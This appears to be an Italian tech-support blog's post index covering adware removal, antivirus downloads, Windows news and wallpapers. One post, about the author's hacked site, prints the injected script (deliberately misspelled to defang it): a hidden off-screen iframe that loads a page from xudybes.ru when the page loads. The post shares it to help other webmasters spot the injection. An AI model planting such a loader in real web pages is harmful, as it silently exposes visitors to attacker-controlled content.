dosearch - Altro "virus" che modifica la pagina iniziale di internet

Dopo qvo6 ecco un altro "virus" che modifica la nostra pagina iniziale di internet, qualunque sia il browser in uso.
La nuova pagina ci indirizzerà sempre al sito www.dosearch.com
Anche se si imposta la pagina iniziale corretta, doserch continuerà a comparire e questo anche dopo eventuali scansioni con vari antivirus.
Per eliminarlo definitivamente la cosa da fare più veloce, sicura e abbastanza semplice è quella di rimuoverlo manualmente seguendo i seguenti passaggi.

Kaspersky 2014

Come di consueto, a Voi l'ultima versione del famoso antivirus Kaspersky.
Rimango sempre fedele ai suoi servizi (di alternative veramente valide in effetti non le ho ancora trovate!), anche se devo ammettere che con le ultime versioni (soprattutto sui pc vecchi) qualche problemino l'ho riscontrato....vedremo con il 2014 come si comporterà.

SCARICA Kaspersky Antivirus 2014 - Ver. 14.0.0.465 ( 236mb, exe)

SCARICA Kaspersky Internet security 2014 - Ver. 14.0.0.465 ( 251mb, exe)

Rallentamento prestazioni pc e continui scandisk windows 7 - kaspersky vecchi

Rieccomi qui dopo parecchio tempo (mi sono messo in proprio e il tempo per gestire il blog si è praticamente azzerato!) per spiegare come risolvere un problema che da circa un paio di settimane colpisce molti pc!
I sintomi sono quelli tipici di un virus: rallentamento generale delle prestazioni del pc, soprattutto all'avvio del sistema (svariati minuti prima di essere operativi) o addirittura continui cicli di scandisk che durano decine di minuti e si ripropongono ad ogni accensione del pc.
Questa volta però non si tratta di un virus o di qualche programma malevolo (tipo toolbar, poweroffer, offerbox, delta, dealply, wajam, etc etc), ma bensì del famoso e tanto consigliato Kaspersky!!!!!!!

Malwarebytes Anti-Malware 1.7

Eccellente programma per la rimozione degli ultimi virus che infettano il nostro pc (anche il famoso virus "guardia di finanza" che chiede 100€).

Molto veloce e precisa già la scansione rapida. Trova e rimuove anche i virus che si annidano nel registro e nei file del punto di ripristino ( che consiglio di disattivare per una corretta rimozione dei virus più tenaci).

La versione base (che è quello che serve!) è gratuita e la potete scaricare dal mio sito oppure dal sito ufficale: http://www.malwarebytes.org/

. 

SCARICA dal mio sito la versione 1.75.0,1300 ( 9mb, exe)

Versioni precedenti:

SCARICA dal mio sito la versione 1.70.0,1100 ( 10mb, exe)
 

SCARICA dal mio sito la versione 1.65 ( 10,6mb, exe)

SCARICA dal mio sito la versione 1.60.0.1800 ( 10mb; exe)

SCARICA dal mio sito la versione 1.50.1 ( 7,7mb; exe)

.

SCARICA dal mio sito la versione 1.45 ( 6mb; exe)
.
SCARICA dal mio sito la versione 1.37 ( 3,22mb; exe)

.

Windows 8 vs Windows 7 - Velocità avvio a confronto

Ed ecco il nuovo e rivoluzionario sistema operativo di casa Microsoft!
In questo post non è mia intenzione elencare le novità e le differenze tra il nuovo e i vecchi sistemi (che potete leggere qui), ma solo per annunciare che effettivamente risulta essere più veloce!
Perchè lo scrivo? Semplice, perchè loro (i produttori e i venditori) sempre e comunque annunciano i nuvi sistemi come migliori e più veloci rispetto ai predecessori, ma basta vedere lo "schifo" (permettetemi il termine!) di Vista per capire che non sempre dicono il vero!
Allora cosa ho fatto?

Mio sito segnalato da google per malware (xudybes.ru)

Da un po' di tempo il mio sito veniva segnalato dal motore Google come diffusore di malware.
Dal momento che il sito è rimasto fermo a 3 anni fa in attesa di rifacimento (avessi il tempo), e non essendo visitato da nessuno, ma utilizzato ormai solo come "contenitore" di tutti i software che trovate qui menzionati sul blog, non gli ho mai dato la giusta considerazione. Fino a quando non mi è arrivato l'avviso del possibile blocco dell'intero sito.
Così, pensando di aver erroneamente caricato qualche programmino che gli antivirus possono rilevare come falsi positivi ( keygen, cure, wga, oga, e simili) e che non è mia intenzione mettere sul mio sito proprio per evitare spiacevoli conseguenze, ho iniziato la ricerca il tutte le cartelle e sottocartelle di eventuali file "malevoli". Effettivamente c'era qualche keygen caricato nei primi file del 2008. Rimosso tutto, ho rifatto controllare il sito da Google, ma ancora mi veniva segnalato come potenzialmente dannoso.
A questo punto allora ho approfondito la situazione e ho fatto una bella scoperta: qualcuno è riuscito ad entrare nel mio sito ed ha modificato tutte le pagine htm e html inserendo un codice pericoloso che riporto qui per eventuali altri webmaster.
Il codice inserito è questo (l'ho dovuto leggermente modificare perchè subito segnalato anche qui su blogger come pericoloso, ma per chi è del mestiere non dovrebbe avere problemi ad individuralo nelle proprie pagine web):
!--c3284d-->function frmAdd() {var ifrm = document.createElement('iframe');
ifrm.style.position='absoute';
ifrm.stye.top='-999em';
ifrm.style.left='-999em';
ifrm.src  = "htp://xudybes.ru/count6.php";
ifrm.id = 'frmId';
documet.body.appendChild(ifrm);};
winow.onload = frmAdd;
<!--/c3284d--
Spero possa essere d'aiuto e spero di non incorrere più in questa spiacevole situazione....cambierò la password ogni mese adesso!!!!

Kaspersky 2013 beta

Disponibili le beta del famoso programma antivirus russo.
Poche differenze grafiche rispetto alla versione 2012, anzi direi inesistenti. E anche come funzioni non mi sembra che abbiano cambiato molto.

Outlook bloccato a causa di un messaggio in uscita troppo grande

Spesso e volentieri si cerca di inviare messaggi di posta elettronica con allegati di dimensioni troppo grosse.
Alcuni perchè non sanno che esiste un limite imposto dagli operatori che generalmente in media si ferma sui 10mb, altri perchè non sanno che un allegato (anche in pdf o una semplice foto) potrebbe facilmente superare questa soglia.
Io generalemente consiglio comunque di non inviare allegati che superano i 2 o 3 mb, anche perchè

Sfondi girl 13

54 sfondi Girl / JPG / 38 mb
.
SCARICA dal mio sito (Zip)
.

Fonte: http://www.softarchive.net

Sfondi girl 12

60 sfondi Girl / JPG / 43 mb
.
SCARICA dal mio sito (Zip)
.

Fonte: http://www.softarchive.net

Abrogazione parziale della legge per le indennità parlamentari

Ok, non è questo il blog che parla e discute di politica, etc etc. Però, considerando che i mass media non ne parlano, e l'unico modo che la gente ha per venirne a conoscenza è internet con i suoi social network, mi aggiungo alla diffusione di tale documento per chi ancora non lo sapesse.
Non mi dilungo a spiegare cosa è necessario fare e vi rimando direttamente su quest'altro sito: leggi
Anche se alla fine personalmente so che andrà a finire in niente, io la firma andrò a metterla comunque. Si dovrebbe arrivare a 500.000 firme e non mi sembra un numero troppo alto...siamo in milioni a non sopportare i privilegi che i nostri politici (dal primo all'ultimo) si sono presi negli ultimi 50 anni. Certo, se dovesse anche passare questo referendum, impiegheranno due minuti per studiare un modo per raggirarlo, come hanno fatto in passato con i rimborsi elettorali.....ma intanto io firmo e che se ne vadano anche a fare in culo!!!!!!!!!
Condividete il post per una maggior informazione...

Sfondi girl 11

60 sfondi Girl / JPG / 42 mb
.
SCARICA dal mio sito (Zip)

Fonte: http://www.softarchive.net

NNJhPqqbpXaPTCO.exe - Virus che fa "sparire" tutto!

Virus scoperto ieri in america (fonte superantispyware) e subito preso da un nostro cliente!
Molto aggressivo, visto che nel mio caso ha addirittura cancellato la partizione "mbr" di avvio del sistema operativo e successivamente non permetteva l'uso del mitico combofix nemmeno in modalità provvisoria.
Per farla breve, ecco la soluzione del problema:

Virus - please wait while the connection is being established

Dopo il famoso virus della Guardia di Finanza, eccoci alle prese con un virus simile (schermatona bianca all'avvio di windows con scritto please "wait while the connection is being established" etc etc) che ci impedisce di fare qualsiasi cosa. In questo caso siamo in presenza di un rootkit che se non sbaglio si chiama fsnapshot_x86.exe (è lui il responsabile della schermata bianca)
Nel mio caso, purtroppo anche la modalità provvisoria è stata disabilitata dal virus e quindi ho dovuto risolvere con il cd di avvio di Kaspersky. In questa pagina potete trovare tutte le informazioni a riguardo.
Quando lanciate kaspersky ricordatevi prima di eseguire la scansione di fare l'aggiornamento.
In alternativa a Kaspersky potreste usare Avira (nel caso del virus della gdf è più efficace).
Ulteriori consigli li potreste trovare in questo post.
Ovviamente, nel caso a voi la modalità provvisoria funzioni, potreste prima provare ad eliminare il virus con il mitico combofix (se non avete installato avg e avast come antivirus) oppure malwarebytes

Per qualsiasi richiesta o suggerimento, come al solito scrivete pure nei commenti

Windows 8 - rilasciata la Consumer Preview ufficiale

Ebbene sì, si vociferava da un po' di tempo dell'imminente rilascio del nuovo Windows, ed ecco a conferma la prima versione beta ufficiale per gli utenti finali.
Pare che il lancio del nuovo sistema operativo sia anticipato ad Ottobre di ques'anno.

Virus abnow e non solo

Situazione critica per il pc di un mio amico (che leggerà anche lui questo post!), completamente impallato da virus (altro che quello della guardia di finanza!). Non mi dilungherò troppo sui particolari, e scrivo questo articolo per segnalare soprattutto un paio di programmi che non avevo mai sentito e che mi hanno aiutato.
Infatti il problema è sorto quando, dopo aver messo in condizioni il pc di fare qualcosa, lanciando il mitico combofix quest'ultimo sistematicamente si bloccava alla prima videata....panico!
In sequenza sono stati usati prima i programmi conosciuti (malwarebytes, superantispyware, kaspersky, ccleaner, cleanup, tuneup, tcp/ip repair) in modalità provvisoria con scansioni complete e a ogni giro sono stati trovati ed eliminati una bel numero di virus. In effetti il pc si era ripreso, ma continuava a non far girare combofix e soprattutto non si spegneva.
Ed ecco che entrano in gioco un paio di programmi suggeriti in un forum (che non ricordo):

Sophos Anti-Rootkit ( Gratuito) -  home page

HitmanPro ( a pagamento!!!!) - home page

Gira il primo e gira il secondo, altri virus rilevati ed eliminati.
Ora il pc si spegne correttamente, rientro in provvisoria, ritento con combofix.....parteeeeee!
Subito mi indica la presenza di rootkit e deve riavviare il pc....perfetto....lavora la sua bella mezz'ora e trova altri virus. Ma quanti ce n'erano?!?!?
Ora non mi resta che testarlo, rimuovere tutto ciò che ho installato, un' ultima verifica e ok, sembra tornato a funzionare correttamente.
Alla prossima Luca! Grazie per le ore passate davanti al tuo pc :)

PS nel titolo del post ho indicato "abnow" perchè questo è uno di quei cavolo di virus (presente anch'esso sul pc in questione!) che ti reindirizzano a siti spazzatura quando cerchi qualcosa su internet e non riuscivo a rimuoverlo fino a quando non ho usato i due programmi sopracitati. Che fosse questo ad aver dato inizio a tutto?!?!?!?

Bada 2 per Wave s8500 con Kies ufficiale italia

Finalmente, dopo mesi di attesa, ecco che collegando il mio Samsung wave s8500 al pc e lanciando Kies, si è aperto il popup che mi avvisa del nuovo firmware ufficiale per i modelli italiani.
Non ho ancora lanciato l'aggiornamento per motivi tecnici (sto uscendo!), ma appena riesco (domani mattina!) lascerò qui le mie prime impressioni. Intanto volevo segnalare la notizia!
Se nel frattempo qualcuno ha già provveduto a passare al bada 2 e vuole scrivere un commento, può farlo qui sotto.
Un sito interessante sull'argomento (che quotidianamente leggo) e che mi sento di segnalare è questo: http://www.badaitalia.com/

Virus Ysuvox caqap.exe che blocca la rete e internet

Rieccomi a postare le istruzioni per debellare il pc da quello che pare essere un nuovo virus (nuovo perchè cercando su google non ho trovato nulla a riguardo).
Il problema del cliente è che ad un tratto non accedeva più alle cartelle di rete e internet non si apriva.
Controllato le varie impostazioni e accertato che fosse tutto corretto, ho provato ad installare malwarebytes (la cosa strana infatti è che internet explorer neanche si apriva, idem per task manager, etc), ma non si installava (come si vede nell'immagine qui sotto)

Aprendo ccleaner però sono riuscito

Ottimiziamo il pc con una nuova utility gratuita: Toolwiz Care

Premetto subito una cosa: come programma gratuito per la pulizia e l'ottimizzazione del sistema operativo uso sempre (e non ho mai avuto problemi con i pc dei miei clienti) ccleaner, del quale potete trovare una guida all'uso qui: GUARDA LA GUIDADetto questo, è vero che i nuovi programmi vanno comunque testati per vedere se funzionano e poi eventulmente usati su più pc per avere una buona casistica.
Ecco allora che mi sono imbattuto in questo programmino, che a prima vista sembra buono.
L'ho testato sul mio portatilino hp, con windows 7

K-Lite codec mega pack - Version 8.2.0

Capita spesso che si scarichi un video da internet o che ci venga dato da un amico e una volta lanciato sul nostro pc, non si vede nulla e in alcuni casi si sente solo l'audio. Molti pensano ad un problema del pc o del video stesso. In realtà non viene visualizzato per la mancanza di codec adatti.
Non voglio dilungarmi troppo sul cosa siano i codec, ma giusto per darvi un'idea...